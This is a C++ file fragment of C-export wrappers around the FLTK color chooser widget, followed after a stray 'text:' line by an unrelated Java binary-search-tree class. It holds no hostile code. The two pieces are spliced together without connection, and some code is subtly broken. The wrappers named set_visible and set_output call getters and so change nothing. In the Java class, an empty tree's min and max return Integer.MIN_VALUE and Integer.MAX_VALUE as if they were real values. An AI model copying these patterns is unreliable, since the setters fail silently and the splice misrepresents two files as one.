      return Fl_Color_Chooser::rgb(R,G,B);
    }
  };
  int Fl_DerivedColor_Chooser::rgb_super(double R, double G, double B){
    return Fl_Color_Chooser::rgb(R,G,B);
  };

#endif
  FL_EXPORT_C(int,Fl_Color_Chooser_handle)(fl_Color_Chooser color_chooser, int event){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->handle(event);
  }
  FL_EXPORT_C(fl_Group,Fl_Color_Chooser_parent)(fl_Color_Chooser color_chooser){
    return (fl_Group) (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->parent();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_parent)(fl_Color_Chooser color_chooser,fl_Group grp){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->parent((static_cast<Fl_DerivedColor_Chooser*>(grp)));
  }
  FL_EXPORT_C(uchar,Fl_Color_Chooser_type)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->type();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_type)(fl_Color_Chooser color_chooser,uchar t){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->type(t);
  }

  FL_EXPORT_C(int,Fl_Color_Chooser_x)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->x();
  }
  FL_EXPORT_C(int,Fl_Color_Chooser_y)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->y();
  }
  FL_EXPORT_C(int,Fl_Color_Chooser_w)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->w();
  }
  FL_EXPORT_C(int,Fl_Color_Chooser_h)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->h();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_align)(fl_Color_Chooser color_chooser, Fl_Align alignment){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->align(alignment);
  }
  FL_EXPORT_C(Fl_Align,Fl_Color_Chooser_align)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->align();
  }
  FL_EXPORT_C(Fl_Boxtype,Fl_Color_Chooser_box)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->box();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_box)(fl_Color_Chooser color_chooser,Fl_Boxtype new_box){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->box((static_cast<Fl_Boxtype>(new_box)));
  }
  FL_EXPORT_C(Fl_Color,Fl_Color_Chooser_color)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->color();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_color)(fl_Color_Chooser color_chooser,Fl_Color bg){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->color(bg);
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_color_with_bg_sel)(fl_Color_Chooser color_chooser,Fl_Color bg,Fl_Color a){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->color(bg,a);
  }
  FL_EXPORT_C(Fl_Color,Fl_Color_Chooser_selection_color)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->selection_color();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_selection_color)(fl_Color_Chooser color_chooser,Fl_Color a){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->selection_color(a);
  }
  FL_EXPORT_C(const char*,Fl_Color_Chooser_label)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->label();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_copy_label)(fl_Color_Chooser color_chooser,const char* new_label){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->copy_label(new_label);
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_label)(fl_Color_Chooser color_chooser,const char* text){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->label(text);
  }
  FL_EXPORT_C(Fl_Labeltype,Fl_Color_Chooser_labeltype)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->labeltype();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_labeltype)(fl_Color_Chooser color_chooser,Fl_Labeltype a){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->labeltype(a);
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_labelcolor)(fl_Color_Chooser color_chooser,Fl_Color c){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->labelcolor(c);
  }
  FL_EXPORT_C(Fl_Font,Fl_Color_Chooser_labelfont)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->labelfont();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_labelfont)(fl_Color_Chooser color_chooser,Fl_Font c){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->labelfont((static_cast<Fl_Font>(c)));
  }
  FL_EXPORT_C(Fl_Fontsize,Fl_Color_Chooser_labelsize)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->labelsize();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_labelsize)(fl_Color_Chooser color_chooser,Fl_Fontsize pix){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->labelsize((static_cast<Fl_Fontsize>(pix)));
  }
  FL_EXPORT_C(fl_Image,Fl_Color_Chooser_image)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->image();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_image)(fl_Color_Chooser color_chooser,fl_Image pix){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->image((static_cast<Fl_Image*>(pix)));
  }
  FL_EXPORT_C(fl_Image,Fl_Color_Chooser_deimage)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->deimage();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_deimage)(fl_Color_Chooser color_chooser,fl_Image pix){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->deimage((static_cast<Fl_Image*>(pix)));
  }
  FL_EXPORT_C(const char*,Fl_Color_Chooser_tooltip)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->tooltip();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_copy_tooltip)(fl_Color_Chooser color_chooser,const char* text){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->copy_tooltip(text);
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_tooltip)(fl_Color_Chooser color_chooser,const char* text){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->tooltip(text);
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_callback_with_user_data)(fl_Color_Chooser color_chooser,fl_Callback* cb,void* p){
    Fl_Color_Chooser* castedWindow = (static_cast<Fl_DerivedColor_Chooser*>(color_chooser));
    new C_to_Fl_Callback(castedWindow, cb, p);
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_callback)(fl_Color_Chooser color_chooser,fl_Callback* cb){
    Fl_Color_Chooser* castedWindow = (static_cast<Fl_DerivedColor_Chooser*>(color_chooser));
    new C_to_Fl_Callback(castedWindow, cb);
  }
  FL_EXPORT_C(void*,Fl_Color_Chooser_user_data)(fl_Color_Chooser color_chooser){
    C_to_Fl_Callback* stored_cb = (static_cast<C_to_Fl_Callback*>((static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->user_data()));
    if(stored_cb){
      return stored_cb->get_user_data();
    }
    else {
      return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->user_data();
    }
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_user_data)(fl_Color_Chooser color_chooser,void* v){
    C_to_Fl_Callback* stored_cb = (static_cast<C_to_Fl_Callback*>((static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->user_data()));
    if (stored_cb) {
      stored_cb->set_user_data(v);
      (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->user_data(stored_cb);
    }
    else {
      (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->user_data(v);
    }
  }
  FL_EXPORT_C(long,Fl_Color_Chooser_argument)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->argument();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_argument)(fl_Color_Chooser color_chooser,long v){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->argument(v);
  }
  FL_EXPORT_C(Fl_When,Fl_Color_Chooser_when)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->when();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_when)(fl_Color_Chooser color_chooser,uchar i){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->when(i);
  }
  FL_EXPORT_C(unsigned int,Fl_Color_Chooser_visible)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->visible();
  }
  FL_EXPORT_C(int,Fl_Color_Chooser_visible_r)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->visible_r();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_visible)(fl_Color_Chooser color_chooser){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->visible();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_clear_visible)(fl_Color_Chooser color_chooser){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->clear_visible();
  }
  FL_EXPORT_C(unsigned int,Fl_Color_Chooser_active)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->active();
  }
  FL_EXPORT_C(int,Fl_Color_Chooser_active_r)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->active_r();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_activate)(fl_Color_Chooser color_chooser){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->activate();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_deactivate)(fl_Color_Chooser color_chooser){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->deactivate();
  }
  FL_EXPORT_C(unsigned int,Fl_Color_Chooser_output)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->output();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_output)(fl_Color_Chooser color_chooser){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->output();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_clear_output)(fl_Color_Chooser color_chooser){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->clear_output();
  }
  FL_EXPORT_C(unsigned int,Fl_Color_Chooser_takesevents)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->takesevents();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_changed)(fl_Color_Chooser color_chooser){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->changed();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_clear_changed)(fl_Color_Chooser color_chooser){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->clear_changed();
  }
  FL_EXPORT_C(int,Fl_Color_Chooser_take_focus)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->take_focus();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_visible_focus)(fl_Color_Chooser color_chooser){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->set_visible_focus();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_clear_visible_focus)(fl_Color_Chooser color_chooser){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->clear_visible_focus();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_modify_visible_focus)(fl_Color_Chooser color_chooser,int v){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->visible_focus(v);
  }
  FL_EXPORT_C(unsigned int,Fl_Color_Chooser_visible_focus)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->visible_focus();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_do_callback)(fl_Color_Chooser color_chooser){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->do_callback();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_do_callback_with_widget_and_user_data)(fl_Color_Chooser color_chooser,fl_Widget w,long arg){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->do_callback((static_cast<Fl_Widget*>(w)),arg);
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_do_callback_with_widget_and_default_user_data)(fl_Color_Chooser color_chooser,fl_Widget w){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->do_callback((static_cast<Fl_Widget*>(w)));
  }
  FL_EXPORT_C(int,Fl_Color_Chooser_contains)(fl_Color_Chooser color_chooser,fl_Widget w){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->contains((static_cast<Fl_Widget*>(w)));
  }
  FL_EXPORT_C(int,Fl_Color_Chooser_inside)(fl_Color_Chooser color_chooser,fl_Widget w){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->inside((static_cast<Fl_Widget*>(w)));
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_redraw)(fl_Color_Chooser color_chooser){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->redraw();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_redraw_label)(fl_Color_Chooser color_chooser){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->redraw_label();
  }
  FL_EXPORT_C(uchar,Fl_Color_Chooser_damage)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->damage();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_clear_damage_with_bitmask)(fl_Color_Chooser color_chooser,uchar c){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->clear_damage(c);
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_clear_damage)(fl_Color_Chooser color_chooser){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->clear_damage();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_damage_with_text)(fl_Color_Chooser color_chooser,uchar c){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->damage(c);
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_damage_inside_widget)(fl_Color_Chooser color_chooser,uchar c,int x,int y,int w,int h){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->damage(c,x,y,w,h);
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_draw_label_with_xywh_alignment)(fl_Color_Chooser color_chooser,int x,int y,int w,int h,Fl_Align alignment){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->draw_label(x,y,w,h,alignment);
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_measure_label)(fl_Color_Chooser color_chooser,int* ww,int* hh){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->measure_label(*ww,*hh);
  }
  FL_EXPORT_C(fl_Window,    Fl_Color_Chooser_window)(fl_Color_Chooser color_chooser){
    return (fl_Window) (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->window();
  }
  FL_EXPORT_C(fl_Window,    Fl_Color_Chooser_top_window)(fl_Color_Chooser color_chooser){
    return (fl_Window) (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->top_window();
  }
  FL_EXPORT_C(fl_Window ,   Fl_Color_Chooser_top_window_offset)(fl_Color_Chooser color_chooser, int* xoff, int* yoff){
    return (fl_Window) (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->top_window_offset(*xoff,*yoff);
  }
  FL_EXPORT_C(fl_Group,Fl_Color_Chooser_as_group)(fl_Color_Chooser color_chooser){
    return (fl_Group) (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->as_group();
  }
  FL_EXPORT_C(fl_Gl_Window,Fl_Color_Chooser_as_gl_window)(fl_Color_Chooser color_chooser){
    return (fl_Gl_Window) (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->as_gl_window();
  }

  FL_EXPORT_C(void,Fl_Color_Chooser_begin)(fl_Color_Chooser color_chooser){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->begin();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_end)(fl_Color_Chooser color_chooser){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->end();
  }
  FL_EXPORT_C(int,Fl_Color_Chooser_find)(fl_Color_Chooser color_chooser,fl_Widget w){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->find(static_cast<Fl_Widget*>(w));
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_add)(fl_Color_Chooser color_chooser,fl_Widget w){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->add((static_cast<Fl_Widget*>(w)));
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_insert)(fl_Color_Chooser color_chooser,fl_Widget w,int i){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->insert(*(static_cast<Fl_Widget*>(w)),i);
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_remove_index)(fl_Color_Chooser color_chooser,int index){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->remove(index);
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_remove_widget)(fl_Color_Chooser color_chooser,fl_Widget w){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->remove((static_cast<Fl_Widget*>(w)));
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_clear)(fl_Color_Chooser color_chooser){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->clear();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_resizable_by_reference)(fl_Color_Chooser color_chooser,fl_Widget o){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->resizable((static_cast<Fl_Widget*>(o)));
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_resizable)(fl_Color_Chooser color_chooser,fl_Widget o){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->resizable((static_cast<Fl_Widget*>(o)));
  }
  FL_EXPORT_C(fl_Widget,Fl_Color_Chooser_resizable)(fl_Color_Chooser color_chooser){
    return (fl_Widget)(static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->resizable();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_add_resizable)(fl_Color_Chooser color_chooser,fl_Widget o){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->add_resizable(*(static_cast<Fl_Widget*>(o)));
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_init_sizes)(fl_Color_Chooser color_chooser){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->init_sizes();
  }
  FL_EXPORT_C(int,Fl_Color_Chooser_children)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->children();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_clip_children)(fl_Color_Chooser color_chooser,int c){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->clip_children(c);
  }
  FL_EXPORT_C(unsigned int,Fl_Color_Chooser_clip_children)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->clip_children();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_focus)(fl_Color_Chooser color_chooser, fl_Widget W){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->focus((static_cast<Fl_Widget*>(W)));
  }
  FL_EXPORT_C(fl_Widget,Fl_Color_Chooser__ddfdesign_kludge)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->_ddfdesign_kludge();
  }
  FL_EXPORT_C(void, Fl_Color_Chooser_insert_with_before)(fl_Color_Chooser color_chooser, fl_Widget w, fl_Widget before){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->insert(*(static_cast<Fl_Widget*>(w)),(static_cast<Fl_Widget*>(before)));
  }
  FL_EXPORT_C(fl_Widget*, Fl_Color_Chooser_array)(fl_Color_Chooser color_chooser){
    return (fl_Widget*)(static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->array();
  }
  FL_EXPORT_C(fl_Widget, Fl_Color_Chooser_child)(fl_Color_Chooser color_chooser, int n){
    return (fl_Widget)(static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->child(n);
  }
  FL_EXPORT_C(fl_Color_Chooser,    Fl_Color_Chooser_New)(int X, int Y, int W, int H){
    fl_Widget_Virtual_Funcs* fs = Fl_Widget_default_virtual_funcs();
    Fl_DerivedColor_Chooser* w = new Fl_DerivedColor_Chooser(X,Y,W,H,fs,0);
    return (fl_Color_Chooser)w;
  }
  FL_EXPORT_C(fl_Color_Chooser,    Fl_Color_Chooser_New_WithLabel)(int X, int Y, int W, int H, const char* label){
    fl_Widget_Virtual_Funcs* fs = Fl_Widget_default_virtual_funcs();
    Fl_DerivedColor_Chooser* w = new Fl_DerivedColor_Chooser(X,Y,W,H,label,fs,0);
    return (fl_Color_Chooser)w;
  }
  FL_EXPORT_C(fl_Color_Chooser,    Fl_OverriddenColor_Chooser_New)(int X, int Y, int W, int H,fl_Widget_Virtual_Funcs* fs, fl_Color_Chooser_Virtual_Funcs* cfs){
    Fl_DerivedColor_Chooser* w = new Fl_DerivedColor_Chooser(X,Y,W,H,fs,cfs);
    return (fl_Color_Chooser)w;
  }
  FL_EXPORT_C(fl_Color_Chooser,    Fl_OverriddenColor_Chooser_New_WithLabel)(int X, int Y, int W, int H, const char* label, fl_Widget_Virtual_Funcs* fs, fl_Color_Chooser_Virtual_Funcs* cfs){
    Fl_DerivedColor_Chooser* w = new Fl_DerivedColor_Chooser(X,Y,W,H,label,fs,cfs);
    return (fl_Color_Chooser)w;
  }

  FL_EXPORT_C(int,Fl_Color_Chooser_mode)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->mode();
  }
  FL_EXPORT_C(int,Fl_Color_Chooser_mode_super)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->Fl_Color_Chooser::mode();
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_mode)(fl_Color_Chooser color_chooser,int newMode){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->mode(newMode);
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_set_mode_super)(fl_Color_Chooser color_chooser,int newMode){
    (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->Fl_Color_Chooser::mode(newMode);
  }
  FL_EXPORT_C(double,Fl_Color_Chooser_hue)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->hue();
  }
  FL_EXPORT_C(double,Fl_Color_Chooser_hue_super)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->Fl_Color_Chooser::hue();
  }
  FL_EXPORT_C(double,Fl_Color_Chooser_saturation)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->saturation();
  }
  FL_EXPORT_C(double,Fl_Color_Chooser_saturation_super)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->Fl_Color_Chooser::saturation();
  }
  FL_EXPORT_C(double,Fl_Color_Chooser_value)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->value();
  }
  FL_EXPORT_C(double,Fl_Color_Chooser_value_super)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->Fl_Color_Chooser::value();
  }
  FL_EXPORT_C(double,Fl_Color_Chooser_r)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->r();
  }
  FL_EXPORT_C(double,Fl_Color_Chooser_r_super)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->Fl_Color_Chooser::r();
  }
  FL_EXPORT_C(double,Fl_Color_Chooser_g)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->g();
  }
  FL_EXPORT_C(double,Fl_Color_Chooser_g_super)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->Fl_Color_Chooser::g();
  }
  FL_EXPORT_C(double,Fl_Color_Chooser_b)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->b();
  }
  FL_EXPORT_C(double,Fl_Color_Chooser_b_super)(fl_Color_Chooser color_chooser){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->Fl_Color_Chooser::b();
  }
  FL_EXPORT_C(int,Fl_Color_Chooser_hsv)(fl_Color_Chooser color_chooser,double H,double S,double V){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->hsv(H,S,V);
  }
  FL_EXPORT_C(int,Fl_Color_Chooser_hsv_super)(fl_Color_Chooser color_chooser,double H,double S,double V){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->Fl_Color_Chooser::hsv(H,S,V);
  }
  FL_EXPORT_C(int,Fl_Color_Chooser_rgb)(fl_Color_Chooser color_chooser,double R,double G,double B){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->rgb(R,G,B);
  }
  FL_EXPORT_C(int,Fl_Color_Chooser_rgb_super)(fl_Color_Chooser color_chooser,double R,double G,double B){
    return (static_cast<Fl_DerivedColor_Chooser*>(color_chooser))->Fl_Color_Chooser::rgb(R,G,B);
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_hsv2rgb)(double H,double S,double V,double* R,double* G,double* B){
    Fl_Color_Chooser::hsv2rgb(H,S,V,*R,*G,*B);
  }
  FL_EXPORT_C(void,Fl_Color_Chooser_rgb2hsv)(double R,double G,double B,double* H,double* S,double* V){
    Fl_Color_Chooser::rgb2hsv(R,G,B,*H,*S,*V);
  }
  FL_EXPORT_C(int, flc_color_chooser)(const char* name, double* r, double* g, double* b){
    return fl_color_chooser(name,*r,*g,*b);
  }
  FL_EXPORT_C(int, flc_color_chooser_with_m)(const char* name, double* r, double* g, double* b, int m){
    return fl_color_chooser(name,*r,*g,*b,m);
  }
  FL_EXPORT_C(int, flc_color_chooser_with_uchar)(const char* name, uchar* r, uchar* g, uchar* b){
    return fl_color_chooser(name,*r,*g,*b);
  }
  FL_EXPORT_C(int, flc_color_chooser_with_uchar_m)(const char* name, uchar* r, uchar* g, uchar* b, int m){
    return fl_color_chooser(name,*r,*g,*b,m);
  }
  FL_EXPORT_C(void, Fl_Color_Chooser_draw)(fl_Color_Chooser o){
    (static_cast<Fl_DerivedColor_Chooser*>(o))->draw();
  }
  FL_EXPORT_C(void, Fl_Color_Chooser_draw_super)(fl_Color_Chooser o){
    (static_cast<Fl_DerivedColor_Chooser*>(o))->draw_super();
  }
  FL_EXPORT_C(int, Fl_Color_Chooser_handle_super)(fl_Color_Chooser o, int event){
    return (static_cast<Fl_DerivedColor_Chooser*>(o))->handle_super(event);
  }
  FL_EXPORT_C(void, Fl_Color_Chooser_resize)(fl_Color_Chooser o, int x, int y, int w, int h){
    (static_cast<Fl_DerivedColor_Chooser*>(o))->resize(x,y,w,h);
  }
  FL_EXPORT_C(void, Fl_Color_Chooser_resize_super)(fl_Color_Chooser o, int x, int y, int w, int h){
    (static_cast<Fl_DerivedColor_Chooser*>(o))->resize_super(x,y,w,h);
  }
  FL_EXPORT_C(void, Fl_Color_Chooser_show)(fl_Color_Chooser o){
    (static_cast<Fl_DerivedColor_Chooser*>(o))->show();
  }
  FL_EXPORT_C(void, Fl_Color_Chooser_show_super)(fl_Color_Chooser o){
    (static_cast<Fl_DerivedColor_Chooser*>(o))->show_super();
  }
  FL_EXPORT_C(void, Fl_Color_Chooser_hide)(fl_Color_Chooser o){
    (static_cast<Fl_DerivedColor_Chooser*>(o))->hide();
  }
  FL_EXPORT_C(void, Fl_Color_Chooser_hide_super)(fl_Color_Chooser o){
    (static_cast<Fl_DerivedColor_Chooser*>(o))->hide_super();
  }
#ifdef __cplusplus
}
#endif


text:
package org.abhishek.learn.tree.binary.search;

public class Tree {
    private Node root = null;

    public Node getRoot() {
        return root;
    }

    public void setRoot(Node root) {
        this.root = root;
    }

    public int min(){
        if (root == null){
            return Integer.MIN_VALUE;
        }
        return root.min();
    }

    public int max(){
        if(root == null){
            return Integer.MAX_VALUE;
        }
        return root.max();
    }

    public Node get(int value){
        if(root == null){
            return null;
        }
        return root.get(value);
    }

    public void insert(int value){
        if(root == null){
            root = new Node(value);
        }else {
            root.insert(value);
        }
    }
}